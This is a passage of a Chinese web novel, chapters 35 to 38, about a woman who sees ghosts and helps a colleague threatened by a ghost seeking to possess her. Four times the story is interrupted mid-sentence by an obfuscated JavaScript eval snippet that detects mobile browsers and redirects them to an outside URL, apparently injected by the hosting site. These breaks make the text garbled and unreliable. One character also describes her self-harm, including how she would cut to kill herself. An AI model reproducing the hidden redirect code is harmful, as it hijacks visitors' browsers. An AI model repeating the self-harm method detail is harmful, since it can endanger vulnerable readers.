纪明霜其实想插一句，不好。 但她看了一眼身旁因为无聊而开始打哈欠的林然，她也没资格说别人吧。 “这、样、不、好。”唐宇的头机械地摇了摇，“我、放、心、多、了、我、会、离、开。” “阿宇……你死的时候一定很疼吧……” 唐宇愣愣地说，“忘、了。” 陈欣欣跪在地上，眼泪一直往下掉，“一定很疼吧……我在说什么傻话，怎么可能不疼呢，那个时候，你是多么痛苦绝望啊……” 灼热的眼泪似乎把唐宇烫到了，他的语速快了一点，但也没快多少，他继续说道，“死、得、很、快。” “你刚才还说你忘了。” “不、重、要。”唐宇虽然还是一个字一个字地说话，但他的语气柔和了很多，“你、要、好、好、生、活、忘、了、我、吧。” 这似乎是离别的前兆，陈欣欣问道，“你……就要离开了吗？” 纪明霜看着林然，“也许……轮回转世也不错？” 林然：“呵。” 另一边，唐宇匀速地摇了摇头，“临、走、之、前、周、可、音。” 陈欣欣说，“周可音？” 唐宇歪歪斜斜地爬了起来，纪明霜看到，他的头被打歪了，他说，“别、信、她。” 陈欣欣也站了起来，“不要走，至少现在不要走……” “周可音现在在哪？”纪明霜问道。 “不、知、道。”唐宇说，“没、进、公、寓。” 没进公寓，也就是说，周可音来了公寓，但没进公寓？ 那她现在去哪了？ 她之前看上了纪明霜，现在又看上了陈欣欣，都是年轻漂亮的女生。 如果再加一些条件，年轻漂亮并且有钱，还有爱她的父母，那靳尤白反而是更合适的人选。 “不会吧……” 如果真的是这样，那事情就大条了。 纪明霜赶紧给靳尤白打电话，等待电话接听的时间，纪明霜也安慰着自己，鬼不是想要得到人的身体，就能随随便便如愿的，如果真是这样，那世界都得乱套了。 据纪明霜所知，鬼占据人的身体，一共有三种方法。 一是借助外力的，比如纪明霜收到的纸钱，二是潜移默化，比如一直接近陈欣欣与纪明霜的周可音，她甚至还附在纪明霜的身后，想要提前适应这具身体，三是对方同意，这一点比较难，是很需要技巧的。 这么一想，靳尤白暂时安全。 果然，靳尤白接了电话，“霜霜，有事吗？” “没什么，那个，你现在在干什么？” “在洗澡哦。”靳尤白的声音随意而慵懒，“泡得有点久，好困哦……” “我是想跟你说一下最近发生的事……” “稍等一下，我穿件浴袍。”靳尤白出水，穿好衣服，穿着拖鞋，看到卧室里坐着的女人，“妈？” 靳尤白的母亲——靳尤真女士正坐在房间的椅子上，“怎么回事，这个时候还打电话，是有什么要紧的工作吗？” “没有啦，是跟朋友在聊天。” “你的那几个塑料姐妹花？” “没有哦。”靳尤白在她耳边说，“是很重要的朋友，妈，你要是见了她，会很喜欢她的。” “是吗，你这么欣赏她？”靳尤真女士说，“不过我觉得她应该没这个能耐，过来，我帮你吹头发。” 靳尤白一边享受着温柔的暖风，一边跟纪明霜打电话，吹风机的声音并不大，她能清楚地听到纪明霜的声音，“尤白，你听我说，是这样的……” 靳尤真女士正专心给女儿吹头发，没想到女儿却慢慢坐直了身体，“居然会发生这样的事……霜霜，你没事吧？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419848|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纪明霜说，“我没事，我这里很安全，反而是你……” “真的吗？”靳尤白说，“对了，我认识一个大师，要不把他介绍给你……不对，太慢了，我现在开车去接你？” “不用了，如果你认识大师的话……” 靳尤真女士的动作顿了下来，她的表情也变得冷漠，“小白？” 靳尤白回头看她，“妈？” “你的朋友究竟是什么情况，你为什么会和这种人交朋友？” “什么叫‘这种人’？”靳尤白把手机拿得远了一些，“要是霜霜听到，她会多伤心啊……” 靳尤真女士一把夺走了靳尤白的手机，直接挂断，“那就不要让她听到……不就好了吗？” “妈……你怎么这样啊！” 靳尤白想拿回自己的手机，却被靳尤真女士按住了，“小白，不要接触这些领域，你会变得不幸的。” 靳尤白急急忙忙地抢手机，“我知道，但是……” 靳尤真女士站了起来，“行了，到此为止，没有但是，你是不是招惹了什么不干净的东西？” “但是我的朋友……” “靳尤白！” 她的声音引来了靳尤白的父亲，王董事长。 王董的个子较高，身形微胖，面相看着很是和蔼，他急急忙忙地走了进来，“老婆，怎么回事，你刚刚出差回来，就对着孩子发火啊……” 他又对低头生气的女儿说，“乖，小白，跟妈妈道个歉，然后跟你妈说，你马上就跟那个男生分手，以后也不会再联系了……” 靳尤真女士瞪大了眼，“什么，男生，分手，是谁，怎么回事？” 王董非常吃惊，“怎么，不是因为这件事啊……” 靳尤白没有说话，她盯着靳尤真女士手里的手机，得想办法联系到霜霜才行…… 靳尤真女士疯了，“怎么回事，到底是怎么回事？！王平安，靳尤白，你们两个，给我把话说清楚！” 靳尤白向王董使眼色，“爸，怎么办，妈生气了，快想想办法啊！” 王董：“乖女，爸也没办法啊，你到底干了什么，你妈怎么会这么生气？” 靳尤白：“她觉得我交友不慎。” 王董：“哦，合着你一边交友不慎，一边交男友不慎啊……” 靳尤白：“爸，帮帮忙嘛，就当是为了林然，至于我男友，明天就分手，行吗？” 王董愣了一下，还有这种好事，他劝了女儿这么久，女儿都不同意分手，这次居然这么容易就搞定了？ 他清了清嗓子，“老婆……” 靳尤真说，“对啊，居然把你给忘了，小白男友的事，你明明知道，却不告诉我，老王啊老王，你是何居心？” “冤枉啊……”王董举起了双手，弱弱地解释道，“我这不是为了家庭和睦嘛，况且小白换男友换得蛮勤，我想着也许过几天就会分手……” “你也太不负责任了……”靳尤真女士揉着太阳穴，“但是我也了解我的女儿，她不会做越界的事，但是，小白，你不要再跟那个朋友来往了……” “妈……我担心她会有危险，她……” “够了。”靳尤真女士把靳尤白手机拿给了保姆刘妈，“小白，今天晚上，我和你一起睡。” 看着王董的眼神示意，靳尤白假装乖巧地点了点头。 36. 第36章 排异 纪明霜联系了小敏，小敏就住在靳尤白的家里，这样不仅能省下房租和水电，还能吃到免费的三餐和点心。 小敏蹑手蹑脚地出了房间，保姆王妈看见小敏，关切地问道，“敏啊，你要吃点宵夜不，要的话咱们一块到厨房那边去。” 小敏问道，“那个，我老板呢，她去哪了？” “小姐就在房间里，但夫人也在……” 小敏拿起手机，对纪明霜小声地说，“纪小姐，老板的妈妈回来了，她的性格比较强势，我、我可能比较怕她……” 纪明霜：“别可能了，你是真的很怕她，你的声音在发抖。” 小敏：“……那倒不是因为这个，是因为宵夜啦，我好激动，又有好吃的啦！” 纪明霜：“……” 小敏在厨房那边看到了保姆刘妈，靳尤白的手机在她手里，听到了小敏的来意，刘妈把靳尤白的手机拿给了小敏，毕竟是母女间的事，刘妈其实不太想掺和。 小敏拿到了靳尤白的手机，去了靳尤白的房间所在的楼层。 靳尤白的房间隔壁就是她的工作间，小敏有进入的权限，她悄悄地打开了房门，对着电话说，“纪小姐，我先去拿点宵夜，再回房间拿条毛毯，然后就回这里等着，别担心，我在这里看着呢，有事会联系你的。” 纪明霜说，“多谢你了，小敏，很抱歉，这么晚还打扰你……” 小敏说，“没关系啦，老板之前就说过，要优先做纪小姐的事，我也是按照老板的吩咐办事。况且我只是帮忙望个风，就能拿到三倍的工资，老板也许还会表扬我，然后我就升职加薪，包养吱吱太太，然后走上人生巅峰……” “你真的好喜欢吱吱太太啊……” “当然啦，光是看着吱吱太太做的饭，我就能吃下三碗大米饭。” …… 电话挂断之后，纪明霜稍微放心了一点，她回头，看到陈欣欣正站在她房间的门口。 “欣欣？” “小霜。”陈欣欣又往她房间里站了站，“抱歉，我不是想听你打电话，但是这里只有你一个人，剩下的全部是鬼，我、我现在其实有点害怕。” “没关系的。”纪明霜说，“我的电话已经讲完了，那我们继续说说你的事吧。” 陈欣欣，“啊？” 林然说，“首先是周可音，你现在也知道了，她其实并不是人，她有没有拿给你什么东西，或者让你帮忙做什么事？” “貌似……没有吧，她只是偶尔会突然出现，跟我聊聊天什么的……” “确定没有吗？”纪明霜问道，“包括，嗯……就比如说，她让你帮忙买一杯奶茶，然后她会给你现金之类的，仔细想想。” 陈欣欣说，“确实有这样的事，不过一杯奶茶而已，我不太好意思要她的钱，所以……” “你收了她的钱？” 唐宇，“没。” 纪明霜：“没问你。” 唐宇不说话了。 陈欣欣摇摇头，“没有。” “其它的呢，再仔细想想。” 陈欣欣仔细回想着，“嗯，确实没有。” “那就行。”纪明霜说，“还有一件事，我这里有一段视频，请你看一下。” 唐宇有些心虚，于是默默地退回了角落里。 陈欣欣难以置信地看了那段视频，整整三遍，来来回回地看，仔仔细细地看，把手机还给纪明霜的时候，她的手都在颤抖，她的声音也在发抖，“怎么会这样……我偷了别人的东西，而且还扔掉了……哈，原来如此，怪不得那个时候她们会这样说……” 纪明霜没有说话，据她所知，陈欣欣当时做的事包括但不限于：摇摇晃晃地踮着脚上楼梯，每走一步都像是崴了脚一样；在天黑之后，把灯都关掉，然后在办公室里疯狂地爬来爬去；把别人的外卖拿回办公室，然后把米饭放在地上，等米饭彻底冷掉之后，把脸埋进米饭里疯狂地进食。 纪明霜没有特意调查这些事，只是让林然帮忙问问，毕竟公司所在的大楼很阴，这里也有不少鬼。 “对不起……小霜，谢谢你一直帮助我，我其实也有事瞒着你……” 纪明霜：“啊？” 陈欣欣说，“其实我第二次见到周可音的时候，她就直接告诉我，她其实是只鬼……她说她想用我的身体四处走走看看，她死的时候还很年轻，而且她长得那么漂亮，虽然有点小脾气但我们也蛮聊得来的，所以……” 纪明霜眼前一黑，“所以你就直接同意了？” 陈欣欣点了点头。 “应该说庆幸吗，你的条件其实还不错，年轻、漂亮、家里有钱，还有另一只觊觎你的鬼能跟她配合，但你的父母和弟弟太差劲了，所以周可音还在你和我之间犹豫，嗯，很可能还要加上靳尤白……” “如果周可音得到了我的身体，她就会完全变成我吗？” “理论上是这样，但实际上，嗯，我也是从一本手记上看到的，我这里只有后半本。”纪明霜拿出了那本手记，翻到了那一页，“之前也有过这样的案例，女鬼有一个妹妹，她们姐妹之间的感情很好，所以妹妹同意把身体让给姐姐，之后妹妹离开了，姐姐成为了妹妹。没过多久，妹妹的身体就出现了问题，持续性低烧，反复发烧、盗汗、淋巴结肿，最后确诊为急性淋巴细胞白血病，除此之外，还有分离性障碍、解离性遗忘、非常严重的现实解体和记忆碎片化，这本手记的作者认为这是一种身体与灵魂之间的排异反应，类似于移植了另一颗不够合适的心脏，尽管她们是双胞胎姐妹，在出生之前，她们就是在一起的。” 陈欣欣：“也就是说，如果周可音得到了我的身体，我的身体也会这样？” 纪明霜：“这个嘛……说实话，这只是作者的观察日志，只能作为参考，如果真的有这么一天……我想我得观察一下？” “还是算了吧，我也不想我的身体被这样糟蹋……” 纪明霜看着陈欣欣手腕上的或新或旧的疤痕，“但是你也没有很珍惜你自己的身体吧。” 陈欣欣摇了摇头，“其实还好吧，我第一次割腕的时候，我爸爸妈妈都好担心我呢，就连我弟弟也时不时过来看看我，我感觉我好像回到了小时候。我很小的时候，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419849|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈对我很好的，就连生弟弟也是经过我同意的，他们告诉我，我会多一个家人，等他们离开之后，我们也能相互照顾……后来，弟弟出生了，一切都变了，我能感受到，他们的关心与爱一点点地从我的身边流走，但我没有任何办法，哭过，闹过，尝试着讲道理，更加努力地学习，甚至做出伤害自己的事来，呵……居然真的让我尝到了一点甜头，只是后来，我就算割腕，他们装作没看见的样子，爸爸去看电视，妈妈去讲电话，弟弟去玩手机了……” “唉，你这又是何必呢？” “因为我知道，被人爱着，是一件多么幸福的事，我真的好想被人爱啊……哪怕那些短暂的关心只是幻觉，伤害自己会给我带来更多的痛苦，我也不在乎。不过，小霜，我其实不想死掉的哦，所以不用担心我，说实话，这些只是小打小闹，如果我真的想死掉。”陈欣欣把袖子往下放了放，露出了她纤细瘦弱的小臂，她的笑容有些苍白，“如果我真的想死掉，我就会竖着割。” “对、不、起。”唐宇在角落闷闷地说。 “没关系的哦，阿宇。”陈欣欣的眼里有隐隐的水光，她低头抹了抹眼睛，“谢谢你，我也被你全心全意地爱过，我其实不是很相信所谓的‘真爱永恒’，‘爱’大概是一种状态吧，当我们的灵魂共鸣，爱意就自然而然地出现，当我们的灵魂隔着生死的距离，所谓的‘爱’就会消失……所以阿宇才希望我死掉吧。” “对、不、起。” “没关系的，阿宇。”陈欣欣拿出了她的手机，翻看着和唐宇的聊天记录，“小霜，你看，这么长的时间里，只有我一个人在发消息呢。” 纪明霜探头去看，果然，从下往上划，全是聊天记录，却只有陈欣欣一人在说话。 唐宇现在已经不敢说话了。 “说起来，小霜，我有一点好奇，可以给我讲讲你的事吗？” 纪明霜想了想，“好像也没什么可讲的吧，我也只是一个能看到一些别人看不到的东西的普通人而已。” “是吗？”陈欣欣撒娇道，“给我讲讲嘛，我已经决定辞职离开这里了，也许这次会是告别呢？” 纪明霜举起了手机，“那也没关系啊，加个好友，也能聊天的。” 陈欣欣看了看一旁站着的林然，小声地对纪明霜说，“还有那个小哥的事，可以给我讲讲吗，话说回来，他长得真好看啊，好可惜呢，他还这么年轻……” “好吧……”纪明霜说，“反正我今天晚上也睡不着……我们可以一起说说话。” 四只鬼已经回隔壁打牌了，嗯，小鬼也会跟着打牌，小陈哥也没什么办法，如果他不同意，小鬼就会大喊大叫，吵得鬼心烦，可是小鬼总是不认输，爱耍赖，一凶它，它就会装无辜，装可怜，主要是小鬼的模样也蛮滑稽的，三只鬼会看女鬼的心情来决定是否制裁这只小鬼。 另一边，靳尤白睡得很香，靳尤真女士给她端来的那杯牛奶里，放了一片安眠药。 而后，她拿出小镜子，往眼皮上抹了一点透明但味道难闻的液体，她环顾四周，在靳尤白房间的天花板上看到一个四足爬行的黑影。 37. 第37章 辞职 看到那个黑影之后，靳尤真女士也听到了它发出的声音，窸窸窣窣的，像某种剧毒蛇类在粗糙的水泥地面上爬行的声音，似乎是察觉到了靳尤真女士的目光，那个黑色的身影慢慢地转过了头，靳尤真女士无动于衷，甚至还打了个哈欠。 那个黑影从天花板上跳到靳尤白的床头，它的脸正对着靳尤白的脸，一人一鬼的距离也越来越近，靳尤白睡得很熟，呼吸均匀，对这个房间里发生的一切一无所觉。 靳尤真女士从包里拿出一个又长又扁的盒子，她把盒子打开，里面里放着一张符箓，黄底红字，暗红色的朱砂墨迹之中徜徉着金色的碎光，在黑夜之中并不显眼，她把符箓放在靳尤白的枕边，又坐回了房间的椅子上。 在那个黑影再次靠近之时，符箓的金光亮了一瞬，那个黑影顿时发出一阵嘶鸣，像一条疯狗一样，在房间里四处乱跳。 发生了这样的事，它仍是不死心，还想继续靠近靳尤白，却又被那道金光直接打了出去。 靳尤真女士一夜未眠，好在后半夜没有任何异常。 另一边，纪明霜帮陈欣欣铺好了床，陈欣欣不敢睡在客厅，所以她今晚睡在纪明霜的房间。 就在纪明霜打电话的时候，她和唐宇说了很多话，她终于做了决定，明天就离开这里，在周可音带给她的影响完全消失之前，唐宇会一直陪在她的身边。 一想到未来的幸福生活，她快乐得像一只活泼的小狗。 关灯之后，月光仍在，陈欣欣看着窗外的月光，摇了摇纪明霜的手，“小霜，说说嘛，说说嘛~” 纪明霜：“你这么热情，我都不知道从哪里说起比较好了……” “嗯……就从站在窗前看月亮的那个小哥说起吧。”陈欣欣看向了窗户，“今晚的月亮好美啊。” 纪明霜走到林然的身边，“是吗……但月亮被乌云遮了一半呢，虽然这么说，好像第一次相遇的时候，他就在看月亮吧。” 林然：“……要讲八卦到床上去讲，窗边太冷了，你会感冒的。” 陈欣欣星星眼，“哇哦，是好浪漫的初遇呢。” 纪明霜：“嗯，之后他一直跟在我的身边，直到现在。” 陈欣欣：“啊？” 纪明霜点点头，“嗯。” “所以我最期待的环节，就这么结束了？” 纪明霜：“嗯，没错，就是这样。” “然后呢，小霜，你为什么能看到鬼啊，也许你经历过什么非常特别的时刻，或者得到了某种神奇的馈赠，再或者有哪位大师把你收为了弟子？” 纪明霜哭笑不得，“都不是，我爸爸妈妈说过，我出生的时候就能看到别人看不到的东西了。” “哇哦，可以说是一种天赋吧……”陈欣欣又问道，“那小霜的爸爸妈妈是什么样的人呢？” 纪明霜想了想，“说实话，我已经忘得差不多了……我只知道他们是研究宗教仪式和民俗文化的学者，他们很热爱他们的工作，平时都不怎么管我。” “忘记……”陈欣欣问道，“小霜，你是遇到了什么事情吗，还是天生记性就很差？” “高三毕业之后，我出了一场事故，在那场事故中……” 陈欣欣有些紧张：“你受了很重的伤？” 纪明霜摇摇头，“那倒没有，那场事故中有很多人丧生，但我几乎没怎么受伤，只是丢失了绝大多数的记忆，我的精神也出现了一点问题，我感觉我住的房子，我的父母，还有我以前的朋友，都好陌生……心理医生说我是人格解离了，是因为我太过焦虑了……” 陈欣欣问道，“那是一场什么样的事故呢？” “是火灾。”纪明霜说，“在那之后，我一旦回想以前发生的事，就会头痛，所以我也只能尽量不去回想……再然后，我大学毕业，找了份工作，直到现在。” “小霜……”陈欣欣怜爱地摸了摸她的头，“就这样吧，也挺好的。” 纪明霜说，“我以前也是这么想的，既然我一回想，就会头痛，那不要去想就好了啊……” “咦，你说‘以前’，那现在呢？”陈欣欣好奇地问道。 “现在嘛……”纪明霜看着窗边的林然，托着脸说，“其实我还是有点害怕啦……我刚刚从医院醒来的时候，我当时真的好想知道，我的身上到底发生了什么，所以我就想啊，想啊，然后我就真的稍微想起了一点，嗯，过去的记忆。” “然后呢？” “真的好疼好疼啊，那个时候，我感觉我的脑子好胀好痛，我甚至在想，我的头是不是已经变形了啊，我的眼睛是不是已经从我的眼眶里挤出来了，我的脑脊液是不是已经从我的鼻子涌出来了，但其实没发生什么，但是我确实是在不停地流鼻血……我真的疼怕了，之后就不敢瞎想了。” “天哪……” 纪明霜又提到了另一件事，“梦境真是神奇呢……唐宇死在那么远的地方，你却立刻就收到了他的信息。” 陈欣欣点点头，“是啊，在我收到那条信息的时候，他当时就已经死亡了啊……我至今也不明白，他是怎么做到的……” 纪明霜说，“他可以回到你的身边，但需要很长的时间，所以，我在想，梦境是否也是一种媒介呢？” “也许吧……” “我发现，我在梦境之中，经历过去的事，那时，我是不会头痛的，但如果我在梦境中回想过去的事，照样还是会头痛。如果我过去的回忆有密码的话，也许就藏在我的梦境之中哦。” “梦境确实好神奇啊……”陈欣欣说，“不过，毕竟是普通人无法接触到的领域，小霜，你真的好了不起啊……” “是吗，也许吧。”纪明霜笑了笑，“好了，欣欣，休息吧。” 陈欣欣盖好了她的小被子，闭着眼睛说，“我明天就去辞职，然后回家收拾东西，我攒了一笔存款，够我生活一段时间，小霜，我们以后也要常联系哦。” “好。” 房间里有两个女生在休息，林然今晚待在了客厅，他注意到，唐宇仍站在角落。 他没有理会唐宇，盯着客厅里挂着的粉色钟表看了一会儿，唐宇却突然出声，“我、要、离、开、一、阵、子。” 林然：“哦。” “帮、我、保、护、好、欣、欣。” “不要。” “就、今、晚。” 林然：“……行吧。” “你、不、问、我？” “不关我事。” “多、谢。” 看着唐宇的背影，林然说，“你这又是何必呢，你又不知道周可音在哪。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419850|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她、总、要、回、到、公、司。” “如果你离开了，周可音又来了。” “你、们、不、是、会、群、殴？” “你最好不要离开。” 唐宇说，“周、可、音、必、须、死。” “记得天亮之前回来。”林然说。 唐宇回头，木然地看了他一眼，消失在了夜色中。 小陈哥突然出现，“还算他有点良心。” 林然：“……但是智商不够。” “那个周可音又不是游魂，指不定真能让他碰到呢？” 保安小哥突然出现，默默地点了点头。 林然没有接话。 唐宇有私心，但他也一样。 唐宇被周可音蛊惑，想要陈欣欣去死，他被陈欣欣说服，又想让周可音去死。无论他的选择如何，至少有一点是肯定的，唐宇的意志不够坚定，目前仍是不安定因素。 所以，小陈哥他们不能离开灰灰公寓的事，不能让唐宇知道。 正因为这个信息差，唐宇以为陈欣欣待在灰灰公寓很安全，嗯，至少今晚是安全的。 至于明天…… 林然看了一眼时钟。 希望唐宇能听劝，在天亮之前回来。 …… 第二天，在闹钟响起之前，纪明霜就醒来了。 陈欣欣还没有醒，见她睡得很安稳，纪明霜也没有叫醒她。 她悄悄地走到客厅，见林然正坐在餐桌的椅子前，见她起床，他说，“这么早醒，真难得啊。” 纪明霜环视了客厅一圈，坐在了林然的对面，“唐宇呢，不会是去隔壁打牌了吧？” “他去找周可音了……” “……那还不如去隔壁打牌呢。“纪明霜又问道，“他还说了什么吗？” 林然，“没有，我跟他说过，天亮之前回来，但他没听进去。” 纪明霜：“……唉。” 林然，“也是有好消息的，比如快到休息日了。” 纪明霜：“你还真是了解我……” 林然：“呵。” 陈欣欣从房间里走了出来，她揉了揉眼睛，“小霜，还有那个小哥，早啊！” 纪明霜：“早啊。” “咦，阿宇呢，我怎么没看到他啊？” 纪明霜：“嗯……他去找周可音算账了。” 陈欣欣有些担忧，“那他不会有事吧？” “其实我更担心你，因为你现在的状态不好，很容易被鬼上身啊……” “其实我觉得我现在还不错呢。” “得了吧，你能看到鬼，就这不太行。” 陈欣欣：“好吧……那我们一起去公司吧，你去上班，我去辞职。” “别……你可别去公司了，你在公寓待着就行，我帮你把物品收拾好，有小陈哥他们在，你还有两张符箓，至少不用担心周可音会来。” 陈欣欣：“好吧……但是我觉得好可惜哦，我离开之后，就很难和小霜见面了吧。” 纪明霜指了指手机，“常联系，如果有事也记得给我打电话。” “好哦。” 纪明霜打车去了公司，陈欣欣也打电话跟领导说了辞职的事，领导却沉吟道，“欣欣啊，你辞职的事，你爸妈知道吗？” 38. 第38章 承担 “领导，这是我自己的事，不需要他们同意。” “欣欣，你父母真的很不容易，他们帮你找了这份工作，你也应该体谅他们的苦心才对。”在电话的那头，领导叹了口气，说，“我们也只是一家小公司，目前的效益也还算不错，公司的发展也比较平稳，你来之前，我们刚刚招到那个姓纪的小姑娘，已经填补了老员工离职造成的空缺，其实已经不需要再招人了，但是你妈妈是我的老同学，她以前曾经帮助过我，我这才决定把你招了进来。” “谢谢领导，但是……” 领导打断了她的话，“欣欣，现在的大环境不好，就业很难的，我知道你最近比较累，压力比较大，这样吧，我给你放一天假，你和你爸妈好好聊聊，就这样吧，先挂了。” 领导似乎是在他的办公室里，她听到领导办公室的门被敲响了，还听到了若有若无的狗叫声，而后，电话才被彻底挂断。 她放下手机，坐在窗前，开始发呆。 阿宇去哪里了，怎么还没回来呢…… 另一边，纪明霜已经打完了卡，开始努力地摸鱼，呃不，工作啦！ 办公室的阿姨和对门的阿姨又一起快乐地拍土味小段子了，拍完之后，他们开始找视频素材剪辑，讨论着背景加几朵玫瑰花还是向日葵。此外，她们还兴致勃勃地说着看视频赚钱的事，每天只要看五个小时的视频，一个月就能赚一百块呢！ 其实她们并不缺钱，一个是公司副总的亲妈，另一个是退休返聘的技术骨干，每月都能拿到退休金、工资和资金，生活过得那叫一个滋润。 在纪明霜看来，她们更享受赚钱的快乐，那一百块钱反而没那么重要，毕竟办公室阿姨的一件纯羊毛大衣就要四千块呢。 纪明霜先去了陈欣欣的办公室，陈欣欣还没来多久，她的私人物品不多，包括一个很可爱的水杯，一袋冰糖、一袋柠檬片、护手霜、数据线、充电器、还有一盆小小的仙人掌盆栽。 纪明霜吐槽道，“简直就像随时要跑路一样。” 林然：“我感觉你也差不多……” “确实。”纪明霜轻轻地捏了捏小小的仙人掌，“怎么感觉手感不太对啊？” 林然：“因为这是塑料的。” 纪明霜：“好吧……说起来，唐宇不是来公司找周可音了吗，我怎么没见到他呢？” “他可能是被骗走了吧……”林然说，“感觉他挺容易被骗的。” 纪明霜点点头，“是啊……拦了拦了，劝也劝了，不要出事才好……” 她给整理好的物品拍了照，发给了陈欣欣，而后回到她的办公室。 她昨天睡得很晚，今天又醒得很早，她坐在办公桌前，没一会就感到困了，她准备趴着睡一会儿，“林然，如果有人过来，记得把我叫醒……” “这个姿势睡觉很难受的，还是我替你上班吧。” 纪明霜摇了摇头，“不要，你也会感觉到累啊，况且……” “况且？” 她打了个哈欠，“死掉之后还要上班，真是世界上最悲惨的事了……” “那只是你的想法……”林然说，“行吧，你好好睡吧，我帮你望风。” “林然……” “嗯？” “我之前好像……想起过你哦，就在我刚刚出院的时候，但是只有一小段记忆，很小很小的一段。” “算了吧，纪明霜，不要瞎想了，你会头痛的。” “你就不好奇吗，你的身份，你的死因，还有你的亲人和朋友……” 林然站在她的对面，注视着她的双眼，“纪明霜，这很重要吗？” 纪明霜：“这难道不重要吗？” “得了吧，你要是能活过三个月，我都得放鞭炮庆祝。”林然说，“趁他们不在，你正好补觉，你昨天只睡了六个半小时吧，你平时大概会睡八个半小时呢。” 这下轮到纪明霜提问了，“这很重要吗？” 这个问题似乎有些难度，林然说，“这对我来说很重要……但是我不知道原因。” “也许是因为……我对你来说很重要？” “废话，说了跟没说一样。”林然说，“迟钝的爱哭鬼。” 这句话出来，一人一鬼都愣住了。 在林然出现之后，她从来没有哭过，根本不是什么‘爱哭鬼’。 在林然出现之前，她总会有一种解离感，这种感觉……就好像她其实是一条普通金鱼，被放进了装满水的塑料袋中，塑料袋被扎紧，沉入鱼缸中，鱼缸里也都是同样的普通金鱼。 她看似和其它金鱼生活在一起，却能感受到她和其它金鱼之间隔着一层薄薄的膜，并不是说这层膜足够透明，足够轻薄，就能够当做它不存在，尽管塑料袋里，鱼缸里面，装着同样的清水。 现在，她似乎也能理解林然了，她还记得，他当时对她说，‘我几乎全都忘光了，但我仍然记得很种感觉。” 就算记忆全部丢失，但情感却不会改变。 她不知道林然的感觉，但她此刻却感受到了，从心脏传来的钝痛，让她感到悲伤与苦涩。 她从抽屉里拿出之前买来的办公室室午睡枕，闷闷地说，“……那我先睡一会，有人来记得叫我。” “好。” 然后，在纪明霜闭眼的一瞬间，她就睡着了。 怎么可能这么快就入睡啊……显然，她被带入了梦境之中。 她睁开眼，发现她正站在一个男生的房间里，这个房间的窗帘被拉了一半，灯光不是很明亮，房间里还有一股烟雾弥漫。 他的左手放在黑色的彩光游戏键盘上，右手握着鼠标，眼睛直直地盯着电脑屏幕，正在为游戏新出的美少女肝培养材料。 他的桌面很乱，左边摆了一个大大的果盘，果盘里面还有几块切好的西瓜，右边放着一个水晶烟灰缸，但烟头也并不全在烟灰缸里，他的脚边放着吃完的外卖袋子，喝了一半的可乐瓶子，桌子旁边还放了一副拐。 他的房间也乱七八糟的，被子没有叠好，衣服被扔在床上，两双球鞋被放在床脚，可惜他暂时没法穿了——因为他的左脚上打着石膏。 虽然纪明霜没有见过他本人，但她是认识他的，他就是陈欣欣的弟弟——陈荣。 他此时正在专心打游戏，对周围的一切都不甚在意，不过，就算他仔细观察四周，也看不到房间里的三位来客。 嗯，这三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419851|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位来客分别是：通过梦境的媒介来到这里的纪明霜，以纪明霜的身体作为媒介出现在这里的林然，还有像自动电热烤炉里油光满满的烤鸭一样正在旋转的唐宇。 是的，唐宇现在正在陈欣欣弟弟的房间里。 为了方便看病，陈父陈母和陈荣暂时住在离骨科医院更近的一套老房子里，这个房间的天花板上挂着一个老式风扇，唐宇正挂在风扇的扇叶上，缓缓地转动着，只是他的脸一直是朝着陈荣的，他的双眼也紧盯着陈荣的背影。 纪明霜问道，“你要干什么？” 唐宇说，“杀、他。” “你不能害活人。” 唐宇的语气平静极了，“那、周、可、音、就、可、以？” “周可音也不能害人，如果她这么做了，后果由她自己承担。” “我、也、可、以、一、力、承、担。” 林然说，“你昨天还告诉陈欣欣，不要相信周可音的话，今天就对周可音言听计从了？” 唐宇：“呵。” 纪明霜说，“我理解你的想法，你觉得，陈欣欣的父母虽然重男轻女，但他们现在也只有一儿一女，如果陈荣死了，那他们就没得选了，他们的金钱、资源和爱就会全部倾注在陈欣欣的身上，你也能放心地离开了，是吗？” 唐宇没有说话。 